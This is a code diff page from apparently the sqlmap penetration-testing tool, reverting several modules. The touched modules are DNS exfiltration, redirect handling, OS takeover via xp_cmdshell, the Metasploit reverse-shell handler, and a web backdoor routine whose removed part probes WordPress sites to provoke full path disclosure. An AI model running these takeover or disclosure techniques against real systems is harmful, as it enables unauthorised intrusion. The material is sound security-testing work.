+2
-5
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -62,10 +62,7 @@ class DNSServer(object):
|
||||
self._check_localhost()
|
||||
self._requests = []
|
||||
self._lock = threading.Lock()
|
||||
try:
|
||||
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
except AttributeError:
|
||||
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self._socket.bind(("", 53))
|
||||
self._running = False
|
||||
|
||||
@@ -1,13 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import distutils.version
|
||||
import httplib
|
||||
import re
|
||||
import socket
|
||||
import urllib2
|
||||
|
||||
@@ -48,7 +47,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
|
||||
|
||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
|
||||
if kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
|
||||
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
|
||||
try:
|
||||
sock = create_sock()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -57,7 +57,7 @@ from lib.techniques.union.use import unionUse
|
||||
def _goDns(payload, expression):
|
||||
value = None
|
||||
|
||||
if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
|
||||
if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
|
||||
if kb.dnsTest is None:
|
||||
dnsTest(payload)
|
||||
|
||||
@@ -293,7 +293,7 @@ def _goBooleanProxy(expression):
|
||||
|
||||
initTechnique(kb.technique)
|
||||
|
||||
if conf.dnsDomain:
|
||||
if conf.dnsName:
|
||||
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
|
||||
query = agent.suffixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
@@ -364,7 +364,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
if conf.direct:
|
||||
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
|
||||
|
||||
elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
|
||||
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
|
||||
query = cleanQuery(expression)
|
||||
query = expandAsteriskForColumns(query)
|
||||
value = None
|
||||
@@ -413,7 +413,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
count += 1
|
||||
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
||||
|
||||
if found and conf.dnsDomain:
|
||||
if found and conf.dnsName:
|
||||
_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
|
||||
warnMsg = "option '--dns-domain' will be ignored "
|
||||
warnMsg += "as faster techniques are usable "
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
import types
|
||||
import urllib2
|
||||
import urlparse
|
||||
@@ -72,7 +71,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||
|
||||
def http_error_302(self, req, fp, code, msg, headers):
|
||||
content = None
|
||||
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
|
||||
redurl = self._get_header_redirect(headers)
|
||||
|
||||
try:
|
||||
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||
@@ -124,12 +123,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||
|
||||
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
|
||||
if headers and HTTP_HEADER.SET_COOKIE in headers:
|
||||
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
|
||||
_ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
|
||||
if HTTP_HEADER.COOKIE not in req.headers:
|
||||
req.headers[HTTP_HEADER.COOKIE] = _
|
||||
else:
|
||||
req.headers[HTTP_HEADER.COOKIE] = re.sub("%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (_.split('=')[0], delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
|
||||
req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0]
|
||||
try:
|
||||
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
||||
except urllib2.HTTPError, e:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -25,13 +25,13 @@ from lib.core.shell import autoCompletion
|
||||
from lib.request import inject
|
||||
from lib.takeover.udf import UDF
|
||||
from lib.takeover.web import Web
|
||||
from lib.takeover.xp_cmdshell import XP_cmdshell
|
||||
from lib.takeover.xp_cmdshell import Xp_cmdshell
|
||||
|
||||
|
||||
class Abstraction(Web, UDF, XP_cmdshell):
|
||||
class Abstraction(Web, UDF, Xp_cmdshell):
|
||||
"""
|
||||
This class defines an abstraction layer for OS takeover functionalities
|
||||
to UDF / XP_cmdshell objects
|
||||
to UDF / Xp_cmdshell objects
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
@@ -40,7 +40,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
||||
|
||||
UDF.__init__(self)
|
||||
Web.__init__(self)
|
||||
XP_cmdshell.__init__(self)
|
||||
Xp_cmdshell.__init__(self)
|
||||
|
||||
def execCmd(self, cmd, silent=False):
|
||||
if self.webBackdoorUrl and not isStackingAvailable():
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -351,7 +351,7 @@ class Metasploit:
|
||||
|
||||
self._cliCmd += " E"
|
||||
else:
|
||||
self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||
self._cliCmd += "; set EXITFUNC %s" % exitfunc
|
||||
self._cliCmd += "; set LPORT %s" % self.portStr
|
||||
|
||||
@@ -601,8 +601,6 @@ class Metasploit:
|
||||
|
||||
except (EOFError, IOError, select.error):
|
||||
return proc.returncode
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||
infoMsg = "creating Metasploit Framework multi-stage shellcode "
|
||||
@@ -622,7 +620,7 @@ class Metasploit:
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
match = re.search("(Total size:|Length:|succeeded with size|Final size of exe file:) ([\d]+)", payloadStderr)
|
||||
match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr)
|
||||
|
||||
if match:
|
||||
payloadSize = int(match.group(2))
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-58
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -26,7 +26,6 @@ from lib.core.common import ntToPosixSlashes
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import isWindowsDriveLetterPath
|
||||
from lib.core.common import normalizePath
|
||||
from lib.core.common import parseFilePaths
|
||||
from lib.core.common import posixToNtSlashes
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
@@ -39,10 +38,8 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import OS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.enums import WEB_API
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
|
||||
@@ -199,60 +196,6 @@ class Web:
|
||||
self.webApi = choices[int(choice) - 1]
|
||||
break
|
||||
|
||||
if not kb.absFilePaths:
|
||||
message = "do you want sqlmap to further try to "
|
||||
message += "provoke the full path disclosure? [Y/n] "
|
||||
getOutput = readInput(message, default="Y")
|
||||
|
||||
if getOutput in ("y", "Y"):
|
||||
headers = {}
|
||||
been = {conf.url}
|
||||
|
||||
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
|
||||
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
|
||||
if url not in been:
|
||||
try:
|
||||
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
|
||||
parseFilePaths(page)
|
||||
except:
|
||||
pass
|
||||
finally:
|
||||
been.add(url)
|
||||
|
||||
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
|
||||
if url not in been:
|
||||
try:
|
||||
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
|
||||
parseFilePaths(page)
|
||||
except:
|
||||
pass
|
||||
finally:
|
||||
been.add(url)
|
||||
|
||||
for place in (PLACE.GET, PLACE.POST):
|
||||
if place in conf.parameters:
|
||||
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
|
||||
if "[]" in value:
|
||||
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||
parseFilePaths(page)
|
||||
|
||||
cookie = None
|
||||
if PLACE.COOKIE in conf.parameters:
|
||||
cookie = conf.parameters[PLACE.COOKIE]
|
||||
elif headers and HTTP_HEADER.SET_COOKIE in headers:
|
||||
cookie = headers[HTTP_HEADER.SET_COOKIE]
|
||||
|
||||
if cookie:
|
||||
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
|
||||
if value != cookie:
|
||||
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||
parseFilePaths(page)
|
||||
|
||||
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
|
||||
if value != cookie:
|
||||
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||
parseFilePaths(page)
|
||||
|
||||
directories = list(arrayizeValue(getManualDirectories()))
|
||||
directories.extend(getAutoDirectories())
|
||||
directories = list(oset(directories))
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user